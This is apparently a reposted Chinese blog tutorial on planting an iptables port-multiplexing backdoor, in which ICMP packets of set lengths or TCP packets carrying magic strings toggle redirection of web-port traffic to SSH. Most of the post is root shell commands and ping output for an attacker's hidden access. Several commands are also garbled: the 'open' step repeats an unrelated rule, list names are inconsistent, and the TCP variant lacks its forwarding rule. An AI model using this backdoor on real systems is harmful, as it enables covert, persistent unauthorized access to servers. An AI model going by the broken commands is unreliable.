iptables端口复用后门两种办法

利用icmp作为遥控开关

创建端口复用链

 

iptables -nvxL -t nat 查看端口复用链
iptables -t nat -N Port_multiplexing_chain 创建

.创建上条规则,转发流量到22端口

iptables -t nat -A Port_multiplexing_chain -p tcp -j REDIRECT --to-port 22

开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中

[root@192 ~]# iptables -t nat -A Port_multiplexing_chain -p tcp -j REDIRECT --to-port 22

关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉

[root@192 ~]# iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name oupeng --remove -j ACCEPT

如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

[root@192 ~]# iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name oupeng --rsource -j Port_multiplexing_chain
[root@192 ~]# iptables -nxvL -t nat

开启

┌──(root㉿killer)-[~]
└─#  ping -c 1 -s 1111 192.168.247.137
PING 192.168.247.137 (192.168.247.137) 1111(1139) bytes of data.
1119 bytes from 192.168.247.137: icmp_seq=1 ttl=64 time=0.682 ms

--- 192.168.247.137 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.682/0.682/0.682/0.000 ms

┌──(root㉿killer)-[~]
└─# 

关闭

┌──(root㉿killer)-[~]
└─# ping -c 1 -s 1112 192.168.247.137
PING 192.168.247.137 (192.168.247.137) 1112(1140) bytes of data.
1119 bytes from 192.168.247.137: icmp_seq=1 ttl=64 time=0.349 ms

--- 192.168.247.137 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.349/0.349/0.349/0.000 ms

TCP协议作为遥控开关

 创建复用链 

端口复用规则 port22

[root@192 ~]# iptables -t nat -N LETMEIN
[root@192 ~]# iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

 开启关闭

[root@192 ~]# iptables -A INPUT -p tcp -m string --string 'zhimakaimen' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
[root@192 ~]# iptables -A INPUT -p tcp -m string --string ‘baga’ --algo bm -m recent --name letmein --remove -j ACCEPT

猜你喜欢

转载自blog.csdn.net/qtttgeq/article/details/128860041